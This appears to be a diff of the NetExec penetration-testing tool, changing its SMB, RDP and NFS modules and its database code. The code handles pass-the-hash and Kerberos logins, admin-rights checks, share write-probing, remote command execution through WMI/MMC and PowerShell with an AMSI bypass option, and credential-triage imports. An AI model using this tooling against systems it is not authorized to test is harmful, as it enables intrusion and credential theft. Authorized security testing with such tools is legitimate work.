class navigator(DatabaseNavigator):
def do_clear_database(self, line):
if input("This will destroy all data in the current database, are you SURE you want to run this? (y/n): ") == "y":
self.db.clear_database()
def help_clear_database(self):
help_string = """
clear_database
THIS COMPLETELY DESTROYS ALL DATA IN THE CURRENTLY CONNECTED DATABASE
YOU CANNOT UNDO THIS COMMAND
"""
print_help(help_string)
-12
View File
@@ -1,12 +0,0 @@
def proto_args(parser, parents):
nfs_parser = parser.add_parser("nfs", help="own stuff using NFS", parents=parents)
nfs_parser.add_argument("--port", type=int, default=111, help="NFS portmapper port (default: %(default)s)")
nfs_parser.add_argument("--nfs-timeout", type=int, default=30, help="NFS connection timeout (default: %(default)ss)")
dgroup = nfs_parser.add_argument_group("NFS Mapping/Enumeration", "Options for Mapping/Enumerating NFS")
dgroup.add_argument("--shares", action="store_true", help="List NFS shares")
dgroup.add_argument("--enum-shares", nargs="?", type=int, const=3, help="Authenticate and enumerate exposed shares recursively (default depth: %(const)s)")
dgroup.add_argument("--get-file", nargs=2, metavar="FILE", help="Download remote NFS file. Example: --get-file remote_file local_file")
dgroup.add_argument("--put-file", nargs=2, metavar="FILE", help="Upload remote NFS file with chmod 777 permissions to the specified folder. Example: --put-file local_file remote_file")
return parser
+4 -20
View File
@@ -109,7 +109,7 @@ class rdp(connection):
def print_host_info(self):
nla = colored(f"nla:{self.nla}", host_info_colors[3], attrs=["bold"]) if self.nla else colored(f"nla:{self.nla}", host_info_colors[2], attrs=["bold"])
if self.domain is None:
self.logger.display(f"Probably old, doesn't not support HYBRID or HYBRID_EX ({nla})")
self.logger.display("Probably old, doesn't not support HYBRID or HYBRID_EX ({nla})")
else:
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain}) ({nla})")
return True
@@ -150,16 +150,10 @@ class rdp(connection):
if self.args.domain:
self.domain = self.args.domain
if self.args.local_auth:
self.domain = self.hostname
self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}"
if not self.kdcHost and self.domain:
result = self.resolver(self.domain)
self.kdcHost = result["host"] if result else None
self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}")
self.target = RDPTarget(
ip=self.host,
hostname=self.hostname,
@@ -181,7 +175,7 @@ class rdp(connection):
credentials=self.auth,
)
asyncio.run(self.connect_rdp())
if proto.value == SUPP_PROTOCOLS.RDP or proto.value == SUPP_PROTOCOLS.SSL or proto.value == SUPP_PROTOCOLS.SSL | SUPP_PROTOCOLS.RDP:
if str(proto) == "SUPP_PROTOCOLS.RDP" or str(proto) == "SUPP_PROTOCOLS.SSL" or str(proto) == "SUPP_PROTOCOLS.SSL|SUPP_PROTOCOLS.RDP":
self.nla = False
return
except Exception:
@@ -226,17 +220,7 @@ class rdp(connection):
else:
stype = asyauthSecret.PASS if not nthash else asyauthSecret.NT
kerberos_target = UniTarget(
self.host,
88,
UniProto.CLIENT_TCP,
timeout=self.args.rdp_timeout,
hostname=self.remoteName,
dc_ip=self.kdcHost,
domain=self.domain,
proxies=None,
dns=None,
)
kerberos_target = UniTarget(self.domain, 88, UniProto.CLIENT_TCP, proxies=None, dns=None, dc_ip=self.domain, domain=self.domain)
self.auth = KerberosCredential(
target=kerberos_target,
secret=password,
+30 -6
View File
@@ -1,20 +1,31 @@
import sys
from pathlib import Path
from sqlalchemy import Table
from sqlalchemy.orm import sessionmaker, scoped_session
from sqlalchemy import MetaData, Table
from sqlalchemy.exc import (
# IllegalStateChangeError,
NoInspectionAvailable,
NoSuchTableError,
)
from nxc.database import BaseDB
from nxc.logger import nxc_logger
import sys
class database(BaseDB):
class database:
def __init__(self, db_engine):
self.CredentialsTable = None
self.HostsTable = None
super().__init__(db_engine)
self.db_engine = db_engine
self.db_path = self.db_engine.url.database
self.protocol = Path(self.db_path).stem.upper()
self.metadata = MetaData()
self.reflect_tables()
session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True)
Session = scoped_session(session_factory)
# this is still named "conn" when it is the session object; TODO: rename
self.conn = Session()
@staticmethod
def db_schema(db_conn):
@@ -51,3 +62,16 @@ class database(BaseDB):
[-] Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
)
sys.exit()
def shutdown_db(self):
try:
self.conn.close()
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
except Exception as e:
nxc_logger.debug(f"Error while closing session db object: {e}")
def clear_database(self):
for table in self.metadata.sorted_tables:
self.conn.execute(table.delete())
+6 -9
View File
@@ -1,11 +1,8 @@
from nxc.helpers.args import DisplayDefaultsNotNone
def proto_args(parser, parents):
rdp_parser = parser.add_parser("rdp", help="own stuff using RDP", parents=parents, formatter_class=DisplayDefaultsNotNone)
def proto_args(parser, std_parser, module_parser):
rdp_parser = parser.add_parser("rdp", help="own stuff using RDP", parents=[std_parser, module_parser])
rdp_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
rdp_parser.add_argument("--port", type=int, default=3389, help="RDP port")
rdp_parser.add_argument("--rdp-timeout", type=int, default=5, help="RDP timeout on socket connection")
rdp_parser.add_argument("--port", type=int, default=3389, help="Custom RDP port")
rdp_parser.add_argument("--rdp-timeout", type=int, default=5, help="RDP timeout on socket connection, defalut is %(default)ss")
rdp_parser.add_argument("--nla-screenshot", action="store_true", help="Screenshot RDP login prompt if NLA is disabled")
dgroup = rdp_parser.add_mutually_exclusive_group()
@@ -14,7 +11,7 @@ def proto_args(parser, parents):
egroup = rdp_parser.add_argument_group("Screenshot", "Remote Desktop Screenshot")
egroup.add_argument("--screenshot", action="store_true", help="Screenshot RDP if connection success")
egroup.add_argument("--screentime", type=int, default=10, help="Time to wait for desktop image")
egroup.add_argument("--res", default="1024x768", help="Resolution in WIDTHxHEIGHT format")
egroup.add_argument("--screentime", type=int, default=10, help="Time to wait for desktop image, default is %(default)ss")
egroup.add_argument("--res", default="1024x768", help='Resolution in "WIDTHxHEIGHT" format. Default: "1024x768"')
return parser
+117 -381
View File
@@ -14,7 +14,7 @@ from impacket.examples.secretsdump import (
NTDSHashes,
)
from impacket.nmb import NetBIOSError, NetBIOSTimeout
from impacket.dcerpc.v5 import transport, lsat, lsad, scmr, rrp
from impacket.dcerpc.v5 import transport, lsat, lsad, scmr
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5.transport import DCERPCTransportFactory, SMBTransport
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
@@ -27,7 +27,6 @@ from impacket.krb5 import constants
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Login, IWbemLevel1Login
from impacket.smb3structs import FILE_SHARE_WRITE, FILE_SHARE_DELETE
from nxc.config import process_secret, host_info_colors
from nxc.connection import connection, sem, requires_admin, dcom_FirewallChecker
@@ -50,13 +49,12 @@ from nxc.helpers.bloodhound import add_user_bh
from nxc.helpers.powershell import create_ps_command
from dploot.triage.vaults import VaultsTriage
from dploot.triage.browser import BrowserTriage, LoginData, GoogleRefreshToken
from dploot.triage.browser import BrowserTriage
from dploot.triage.credentials import CredentialsTriage
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
from dploot.triage.backupkey import BackupkeyTriage
from dploot.lib.target import Target
from dploot.lib.smb import DPLootSMBConnection
from dploot.triage.sccm import SCCMTriage
from pywerview.cli.helpers import get_localdisks, get_netsession, get_netgroupmember, get_netgroup, get_netcomputer, get_netloggedon, get_netlocalgroup
@@ -148,9 +146,6 @@ class smb(connection):
def __init__(self, args, db, host):
self.domain = None
self.server_os = None
self.server_os_major = None
self.server_os_minor = None
self.server_os_build = None
self.os_arch = 0
self.hash = None
self.lmhash = ""
@@ -165,7 +160,6 @@ class smb(connection):
self.no_da = None
self.no_ntlm = False
self.protocol = "SMB"
self.is_guest = None
connection.__init__(self, args, db, host)
@@ -216,7 +210,6 @@ class smb(connection):
if "STATUS_NOT_SUPPORTED" in str(e):
# no ntlm supported
self.no_ntlm = True
self.logger.debug("NTLM not supported")
# self.domain is the attribute we authenticate with
# self.targetDomain is the attribute which gets displayed as host domain
@@ -226,20 +219,8 @@ class smb(connection):
if not self.targetDomain: # Not sure if that can even happen but now we are safe
self.targetDomain = self.hostname
else:
# If we can't authenticate with NTLM and the target is supplied as a FQDN we must parse it
try:
import socket
socket.inet_aton(self.host)
self.logger.debug("NTLM authentication not available! Authentication will fail without a valid hostname and domain name")
self.hostname = self.host
self.targetDomain = self.host
except OSError:
if self.host.count(".") >= 1:
self.hostname = self.host.split(".")[0]
self.targetDomain = ".".join(self.host.split(".")[1:])
else:
self.hostname = self.host
self.targetDomain = self.host
self.hostname = self.host
self.targetDomain = self.hostname
self.domain = self.targetDomain if not self.args.domain else self.args.domain
@@ -247,23 +228,7 @@ class smb(connection):
self.domain = self.hostname
self.targetDomain = self.hostname
# As of June 2024 Samba will always report the version as "Windows 6.1", apparently due to a bug https://stackoverflow.com/a/67577401/17395725
# Together with the reported build version "0" by Samba we can assume that it is a Samba server. Windows should always report a build version > 0
# Also only on Windows we should get an OS arch as for that we would need MSRPC
try:
self.server_os = self.conn.getServerOS()
self.server_os_major = self.conn.getServerOSMajor()
self.server_os_minor = self.conn.getServerOSMinor()
self.server_os_build = self.conn.getServerOSBuild()
except KeyError:
self.logger.debug("Error getting server information...")
if "Windows 6.1" in self.server_os and self.server_os_build == 0 and self.os_arch == 0:
self.server_os = "Unix - Samba"
elif self.server_os_build == 0 and self.os_arch == 0:
self.server_os = "Unix"
self.logger.debug(f"Server OS: {self.server_os} {self.server_os_major}.{self.server_os_minor} build {self.server_os_build}")
self.server_os = self.conn.getServerOS()
self.logger.extra["hostname"] = self.hostname
if isinstance(self.server_os.lower(), bytes):
@@ -277,17 +242,14 @@ class smb(connection):
self.os_arch = self.get_os_arch()
self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-"))
try:
self.db.add_host(
self.host,
self.hostname,
self.domain,
self.server_os,
self.smbv1,
self.signing,
)
except Exception as e:
self.logger.debug(f"Error adding host {self.host} into db: {e!s}")
self.db.add_host(
self.host,
self.hostname,
self.domain,
self.server_os,
self.smbv1,
self.signing,
)
try:
# DCs seem to want us to logoff first, windows workstations sometimes reset the connection
@@ -295,18 +257,6 @@ class smb(connection):
except Exception as e:
self.logger.debug(f"Error logging off system: {e}")
# DCOM connection with kerberos needed
self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}"
if not self.kdcHost and self.domain:
result = self.resolver(self.domain)
self.kdcHost = result["host"] if result else None
self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}")
# If we want to authenticate we should create another connection object, because we already logged in
if self.args.username or self.args.cred_id or self.kerberos or self.args.use_kcache:
self.create_conn_obj()
def print_host_info(self):
signing = colored(f"signing:{self.signing}", host_info_colors[0], attrs=["bold"]) if self.signing else colored(f"signing:{self.signing}", host_info_colors[1], attrs=["bold"])
smbv1 = colored(f"SMBv1:{self.smbv1}", host_info_colors[2], attrs=["bold"]) if self.smbv1 else colored(f"SMBv1:{self.smbv1}", host_info_colors[3], attrs=["bold"])
@@ -314,7 +264,11 @@ class smb(connection):
return True
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
self.logger.debug(f"KDC set to: {kdcHost}")
logging.getLogger("impacket").disabled = True
# Re-connect since we logged off
kdc_host = f"{self.hostname}.{self.domain}" if not self.no_ntlm else f"{self.host}"
self.logger.debug(f"KDC set to: {kdc_host}")
self.create_conn_obj(kdc_host)
lmhash = ""
nthash = ""
@@ -348,8 +302,7 @@ class smb(connection):
self.logger.debug(f"Got TGS for {self.args.delegate} through S4U")
self.conn.kerberosLogin(self.username, password, domain, lmhash, nthash, aesKey, kdcHost, useCache=useCache, TGS=tgs)
if "Unix" not in self.server_os:
self.check_if_admin()
self.check_if_admin()
if username == "":
self.username = self.conn.getCredentials()[0]
@@ -372,7 +325,9 @@ class smb(connection):
if self.args.continue_on_success and self.signing:
with contextlib.suppress(Exception):
self.conn.logoff()
self.create_conn_obj()
return True
except SessionKeyDecryptionError:
# success for now, since it's a vulnerability - previously was an error
@@ -405,32 +360,37 @@ class smb(connection):
def plaintext_login(self, domain, username, password):
# Re-connect since we logged off
self.create_conn_obj()
try:
self.password = password
self.username = username
self.domain = domain
self.conn.login(self.username, self.password, domain)
self.logger.debug(f"Logged in with password to SMB with {domain}/{self.username}")
self.is_guest = bool(self.conn.isGuestSession())
self.logger.debug(f"{self.is_guest=}")
if "Unix" not in self.server_os:
self.check_if_admin()
self.check_if_admin()
self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}")
self.db.add_credential("plaintext", domain, self.username, self.password)
user_id = self.db.get_credential("plaintext", domain, self.username, self.password)
host_id = self.db.get_hosts(self.host)[0].id
self.db.add_loggedin_relation(user_id, host_id)
out = f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_guest()}{self.mark_pwned()}"
out = f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}"
self.logger.success(out)
if not self.args.local_auth and self.username != "":
add_user_bh(self.username, self.domain, self.logger, self.config)
if self.admin_privs:
self.logger.debug(f"Adding admin user: {self.domain}/{self.username}:{self.password}@{self.host}")
self.db.add_admin_user("plaintext", domain, self.username, self.password, self.host, user_id=user_id)
self.db.add_admin_user(
"plaintext",
domain,
self.username,
self.password,
self.host,
user_id=user_id,
)
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
# check https://github.com/byt3bl33d3r/CrackMapExec/issues/321
@@ -450,15 +410,14 @@ class smb(connection):
return False
except (ConnectionResetError, NetBIOSTimeout, NetBIOSError) as e:
self.logger.fail(f"Connection Error: {e}")
self.create_conn_obj()
return False
except BrokenPipeError:
self.logger.fail("Broken Pipe Error while attempting to login")
self.create_conn_obj()
return False
def hash_login(self, domain, username, ntlm_hash):
# Re-connect since we logged off
self.create_conn_obj()
lmhash = ""
nthash = ""
try:
@@ -477,18 +436,14 @@ class smb(connection):
self.nthash = nthash
self.conn.login(self.username, "", domain, lmhash, nthash)
self.logger.debug(f"Logged in with hash to SMB with {domain}/{self.username}")
self.is_guest = bool(self.conn.isGuestSession())
self.logger.debug(f"{self.is_guest=}")
if "Unix" not in self.server_os:
self.check_if_admin()
self.db.add_credential("hash", domain, self.username, self.hash)
user_id = self.db.get_credential("hash", domain, self.username, self.hash)
self.check_if_admin()
user_id = self.db.add_credential("hash", domain, self.username, nthash)
host_id = self.db.get_hosts(self.host)[0].id
self.db.add_loggedin_relation(user_id, host_id)
out = f"{domain}\\{self.username}:{process_secret(self.hash)} {self.mark_guest()}{self.mark_pwned()}"
out = f"{domain}\\{self.username}:{process_secret(self.hash)} {self.mark_pwned()}"
self.logger.success(out)
if not self.args.local_auth and self.username != "":
@@ -515,19 +470,16 @@ class smb(connection):
return False
except (ConnectionResetError, NetBIOSTimeout, NetBIOSError) as e:
self.logger.fail(f"Connection Error: {e}")
self.create_conn_obj()
return False
except BrokenPipeError:
self.logger.fail("Broken Pipe Error while attempting to login")
self.create_conn_obj()
return False
def create_smbv1_conn(self):
self.logger.debug(f"Creating SMBv1 connection to {self.host}")
def create_smbv1_conn(self, kdc=""):
try:
self.conn = SMBConnection(
self.remoteName,
self.host,
kdc if kdc else self.host,
kdc if kdc else self.host,
None,
self.port,
preferredDialect=SMB_DIALECT,
@@ -536,19 +488,19 @@ class smb(connection):
self.smbv1 = True
except OSError as e:
if str(e).find("Connection reset by peer") != -1:
self.logger.info(f"SMBv1 might be disabled on {self.host}")
self.logger.info(f"SMBv1 might be disabled on {kdc if kdc else self.host}")
return False
except (Exception, NetBIOSTimeout) as e:
self.logger.info(f"Error creating SMBv1 connection to {self.host}: {e}")
self.logger.info(f"Error creating SMBv1 connection to {kdc if kdc else self.host}: {e}")
return False
return True
def create_smbv3_conn(self):
self.logger.debug(f"Creating SMBv3 connection to {self.host}")
def create_smbv3_conn(self, kdc=""):
try:
self.conn = SMBConnection(
self.remoteName,
self.host,
kdc if kdc else self.host,
kdc if kdc else self.host,
None,
self.port,
timeout=self.args.smb_timeout,
@@ -560,56 +512,33 @@ class smb(connection):
if not self.logger:
print("DEBUG ERROR: logger not set, please open an issue on github: " + str(self) + str(self.logger))
self.proto_logger()
self.logger.fail(f"SMBv3 connection error on {self.host}: {e}")
self.logger.fail(f"SMBv3 connection error on {kdc if kdc else self.host}: {e}")
return False
except (Exception, NetBIOSTimeout) as e:
self.logger.info(f"Error creating SMBv3 connection to {self.host}: {e}")
self.logger.info(f"Error creating SMBv3 connection to {kdc if kdc else self.host}: {e}")
return False
return True
def create_conn_obj(self, no_smbv1=False):
"""
Tries to create a connection object to the target host.
On first try, it will try to create a SMBv1 connection.
On further tries, it will remember which SMB version is supported and create a connection object accordingly.
:param no_smbv1: If True, it will not try to create a SMBv1 connection
"""
# Initial negotiation
if not no_smbv1 and self.smbv1 is None:
self.smbv1 = self.create_smbv1_conn()
if self.smbv1:
return True
else:
return self.create_smbv3_conn()
elif not no_smbv1 and self.smbv1:
return self.create_smbv1_conn()
else:
return self.create_smbv3_conn()
def create_conn_obj(self, kdc_host=None):
return bool(self.create_smbv1_conn(kdc_host) or self.create_smbv3_conn(kdc_host))
def check_if_admin(self):
self.logger.debug(f"Checking if user is admin on {self.host}")
rpctransport = SMBTransport(self.conn.getRemoteHost(), 445, r"\svcctl", smb_connection=self.conn)
dce = rpctransport.get_dce_rpc()
try:
dce.connect()
except Exception:
self.admin_privs = False
pass
else:
with contextlib.suppress(Exception):
dce.bind(scmr.MSRPC_UUID_SCMR)
try:
# 0xF003F - SC_MANAGER_ALL_ACCESS
# http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
scmrobj = scmr.hROpenSCManagerW(dce, f"{self.host}\x00", "ServicesActive\x00", 0xF003F)
scmr.hREnumServicesStatusW(dce, scmrobj["lpScHandle"])
self.logger.debug(f"User is admin on {self.host}!")
scmr.hROpenSCManagerW(dce, f"{self.host}\x00", "ServicesActive\x00", 0xF003F)
self.admin_privs = True
except scmr.DCERPCException:
self.admin_privs = False
except Exception as e:
self.logger.fail(f"Error checking if user is admin on {self.host}: {e}")
self.admin_privs = False
def gen_relay_list(self):
if self.server_os.lower().find("windows") != -1 and self.signing is False:
@@ -635,7 +564,7 @@ class smb(connection):
if method == "wmiexec":
try:
exec_method = WMIEXEC(
self.remoteName,
self.host if not self.kerberos else self.hostname + "." + self.domain,
self.smb_share_name,
self.username,
self.password,
@@ -644,7 +573,6 @@ class smb(connection):
self.kerberos,
self.aesKey,
self.kdcHost,
self.host,
self.hash,
self.args.share,
logger=self.logger,
@@ -659,25 +587,18 @@ class smb(connection):
continue
elif method == "mmcexec":
try:
# https://github.com/fortra/impacket/issues/1611
if self.kerberos:
raise Exception("MMCExec current is buggly with kerberos")
exec_method = MMCEXEC(
self.remoteName,
self.host if not self.kerberos else self.hostname + "." + self.domain,
self.smb_share_name,
self.username,
self.password,
self.domain,
self.conn,
self.kerberos,
self.aesKey,
self.kdcHost,
self.host,
self.hash,
self.args.share,
logger=self.logger,
timeout=self.args.dcom_timeout,
tries=self.args.get_output_tries
self.hash,
self.logger,
self.args.get_output_tries,
self.args.dcom_timeout
)
self.logger.info("Executed command via mmcexec")
break
@@ -695,7 +616,6 @@ class smb(connection):
self.domain,
self.kerberos,
self.aesKey,
self.host,
self.kdcHost,
self.hash,
self.logger,
@@ -714,12 +634,12 @@ class smb(connection):
self.host if not self.kerberos else self.hostname + "." + self.domain,
self.smb_share_name,
self.conn,
self.port,
self.username,
self.password,
self.domain,
self.kerberos,
self.aesKey,
self.host,
self.kdcHost,
self.hash,
self.args.share,
@@ -746,65 +666,49 @@ class smb(connection):
self.logger.debug("Decoding error detected, consider running chcp.com at the target, map the result with https://docs.python.org/3/library/codecs.html#standard-encodings")
output = output.decode("cp437")
self.logger.debug(f"Raw Output: {output}")
output = "\n".join([ll.rstrip() for ll in output.splitlines() if ll.strip()])
self.logger.debug(f"Cleaned Output: {output}")
output = output.strip()
self.logger.debug(f"Output: {output}")
if "This script contains malicious content" in output:
self.logger.fail("Command execution blocked by AMSI")
return None
if (self.args.execute or self.args.ps_execute):
if (self.args.execute or self.args.ps_execute) and output:
self.logger.success(f"Executed command via {current_method}")
if output:
output_lines = StringIO(output).readlines()
for line in output_lines:
self.logger.highlight(line.strip())
buf = StringIO(output).readlines()
for line in buf:
self.logger.highlight(line.strip())
return output
else:
self.logger.fail(f"Execute command failed with {current_method}")
return False
@requires_admin
def ps_execute(self, payload=None, get_output=False, methods=None, force_ps32=False, obfs=False, encode=False):
payload = self.args.ps_execute if not payload and self.args.ps_execute else payload
if not payload:
self.logger.error("No command to execute specified!")
return None
def ps_execute(
self,
payload=None,
get_output=False,
methods=None,
force_ps32=False,
dont_obfs=False,
):
response = []
obfs = obfs if obfs else self.args.obfs
encode = encode if encode else not self.args.no_encode
force_ps32 = force_ps32 if force_ps32 else self.args.force_ps32
get_output = True if not self.args.no_output else get_output
if not payload and self.args.ps_execute:
payload = self.args.ps_execute
if not self.args.no_output:
get_output = True
self.logger.debug(f"Starting ps_execute(): {payload=} {get_output=} {methods=} {force_ps32=} {obfs=} {encode=}")
amsi_bypass = self.args.amsi_bypass[0] if self.args.amsi_bypass else None
self.logger.debug(f"AMSI Bypass: {amsi_bypass}")
if os.path.isfile(payload):
self.logger.debug(f"File payload set: {payload}")
with open(payload) as commands:
response = [self.execute(create_ps_command(c.strip(), force_ps32=force_ps32, obfs=obfs, custom_amsi=amsi_bypass, encode=encode), get_output, methods) for c in commands]
response = [self.execute(create_ps_command(c.strip(), force_ps32=force_ps32, dont_obfs=dont_obfs, custom_amsi=amsi_bypass), get_output, methods) for c in commands]
else:
response = [self.execute(create_ps_command(payload, force_ps32=force_ps32, obfs=obfs, custom_amsi=amsi_bypass, encode=encode), get_output, methods)]
self.logger.debug(f"ps_execute response: {response}")
response = [self.execute(create_ps_command(payload, force_ps32=force_ps32, dont_obfs=dont_obfs, custom_amsi=amsi_bypass), get_output, methods)]
return response
def shares(self):
temp_dir = ntpath.normpath("\\" + gen_random_string())
temp_file = ntpath.normpath("\\" + gen_random_string() + ".txt")
permissions = []
try:
self.logger.debug(f"domain: {self.domain}")
user_id = self.db.get_user(self.domain.upper(), self.username)[0][0]
except IndexError as e:
if self.kerberos:
pass
else:
self.logger.fail(f"IndexError: {e!s}")
except Exception as e:
error = get_error_string(e)
self.logger.fail(f"Error getting user: {error}")
@@ -833,8 +737,6 @@ class smb(connection):
share_info = {"name": share_name, "remark": share_remark, "access": []}
read = False
write = False
write_dir = False
write_file = False
try:
self.conn.listPath(share_name, "*")
read = True
@@ -846,40 +748,18 @@ class smb(connection):
if not self.args.no_write_check:
try:
self.conn.createDirectory(share_name, temp_dir)
write_dir = True
try:
self.conn.deleteDirectory(share_name, temp_dir)
except SessionError as e:
error = get_error_string(e)
if error == "STATUS_OBJECT_NAME_NOT_FOUND":
pass
else:
self.logger.debug(f"Error DELETING created temp dir {temp_dir} on share {share_name}: {error}")
write = True
share_info["access"].append("WRITE")
except SessionError as e:
error = get_error_string(e)
self.logger.debug(f"Error checking WRITE access on share {share_name}: {error}")
try:
tid = self.conn.connectTree(share_name)
fid = self.conn.createFile(tid, temp_file, desiredAccess=FILE_SHARE_WRITE, shareMode=FILE_SHARE_DELETE)
self.conn.closeFile(tid, fid)
write_file = True
if write:
try:
self.conn.deleteFile(share_name, temp_file)
self.conn.deleteDirectory(share_name, temp_dir)
except SessionError as e:
error = get_error_string(e)
if error == "STATUS_OBJECT_NAME_NOT_FOUND":
pass
else:
self.logger.debug(f"Error DELETING created temp file {temp_file} on share {share_name}")
except SessionError as e:
error = get_error_string(e)
self.logger.debug(f"Error checking WRITE access with file on share {share_name}: {error}")
# If we either can create a file or a directory we add the write privs to the output. Agreed on in https://github.com/Pennyw0rth/NetExec/pull/404
if write_dir or write_file:
write = True
share_info["access"].append("WRITE")
self.logger.debug(f"Error DELETING created temp dir {temp_dir} on share {share_name}: {error}")
permissions.append(share_info)
@@ -903,75 +783,6 @@ class smb(connection):
self.logger.highlight(f"{name:<15} {','.join(perms):<15} {remark}")
return permissions
@requires_admin
def interfaces(self):
"""
Retrieve the list of network interfaces info (Name, IP Address, Subnet Mask, Default Gateway) from remote Windows registry'
Made by: @Sant0rryu, @NeffIsBack
"""
try:
remoteOps = RemoteOperations(self.conn, False)
remoteOps.enableRegistry()
if remoteOps._RemoteOperations__rrp:
reg_handle = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, reg_handle, "SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces")["phkResult"]
sub_key_list = rrp.hBaseRegQueryInfoKey(remoteOps._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
sub_keys = [rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, key_handle, i)["lpNameOut"][:-1] for i in range(sub_key_list)]
self.logger.highlight(f"{'-Name-':<11} | {'-IP Address-':<15} | {'-SubnetMask-':<15} | {'-Gateway-':<15} | -DHCP-")
for sub_key in sub_keys:
interface = {}
try:
interface_key = f"SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\\{sub_key}"
interface_handle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, reg_handle, interface_key)["phkResult"]
# Retrieve Interace Name
interface_name_key = f"SYSTEM\\ControlSet001\\Control\\Network\\{{4D36E972-E325-11CE-BFC1-08002BE10318}}\\{sub_key}\\Connection"
interface_name_handle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, reg_handle, interface_name_key)["phkResult"]
interface_name = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_name_handle, "Name")[1].rstrip("\x00")
interface["Name"] = str(interface_name)
if "Kernel" in interface_name:
continue
# Retrieve DHCP
try:
dhcp_enabled = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "EnableDHCP")[1]
except DCERPCException:
dhcp_enabled = False
interface["DHCP"] = bool(dhcp_enabled)
# Retrieve IPAddress
try:
ip_address = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "DhcpIPAddress" if dhcp_enabled else "IPAddress")[1].rstrip("\x00").replace("\x00", ", ")
except DCERPCException:
ip_address = None
interface["IPAddress"] = ip_address if ip_address else None
# Retrieve SubnetMask
try:
subnetmask = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "SubnetMask")[1].rstrip("\x00").replace("\x00", ", ")
except DCERPCException:
subnetmask = None
interface["SubnetMask"] = subnetmask if subnetmask else None
# Retrieve DefaultGateway
try:
default_gateway = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "DhcpDefaultGateway")[1].rstrip("\x00").replace("\x00", ", ")
except DCERPCException:
default_gateway = None
interface["DefaultGateway"] = default_gateway if default_gateway else None
self.logger.highlight(f"{interface['Name']:<11} | {interface['IPAddress']!s:<15} | {interface['SubnetMask']!s:<15} | {interface['DefaultGateway']!s:<15} | {interface['DHCP']}")
except DCERPCException as e:
self.logger.info(f"Failed to retrieve the network interface info for {sub_key}: {e!s}")
with contextlib.suppress(Exception):
remoteOps.finish()
except DCERPCException as e:
self.logger.error(f"Failed to connect to the target: {e!s}")
def get_dc_ips(self):
dc_ips = [dc[1] for dc in self.db.get_domain_controllers(domain=self.domain)]
if not dc_ips:
@@ -1262,9 +1073,9 @@ class smb(connection):
namespace = self.args.wmi_namespace
try:
dcom = DCOMConnection(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.kerberos, kdcHost=self.kdcHost, aesKey=self.aesKey, remoteHost=self.host)
dcom = DCOMConnection(self.host if not self.kerberos else self.hostname + "." + self.domain, self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.kerberos, kdcHost=self.kdcHost, aesKey=self.aesKey)
iInterface = dcom.CoCreateInstanceEx(CLSID_WbemLevel1Login, IID_IWbemLevel1Login)
flag, stringBinding = dcom_FirewallChecker(iInterface, self.host, self.args.dcom_timeout)
flag, stringBinding = dcom_FirewallChecker(iInterface, self.args.dcom_timeout)
if not flag or not stringBinding:
error_msg = f"WMI Query: Dcom initialization failed on connection with stringbinding: '{stringBinding}', please increase the timeout with the option '--dcom-timeout'. If it's still failing maybe something is blocking the RPC connection, try another exec method"
@@ -1290,8 +1101,7 @@ class smb(connection):
record = wmi_results.getProperties()
records.append(record)
for k, v in record.items():
if k != "TimeGenerated": # from the wcc module, but this is a small hack to get it to stop spamming - TODO: add in method to disable output for this function
self.logger.highlight(f"{k} => {v['value']}")
self.logger.highlight(f"{k} => {v['value']}")
except Exception as e:
if str(e).find("S_FALSE") < 0:
raise e
@@ -1345,16 +1155,20 @@ class smb(connection):
max_rid = int(self.args.rid_brute)
KNOWN_PROTOCOLS = {
135: {"bindstr": rf"ncacn_ip_tcp:{self.host}"},
139: {"bindstr": rf"ncacn_np:{self.host}[\pipe\lsarpc]"},
445: {"bindstr": rf"ncacn_np:{self.host}[\pipe\lsarpc]"},
135: {"bindstr": r"ncacn_ip_tcp:%s", "set_host": False},
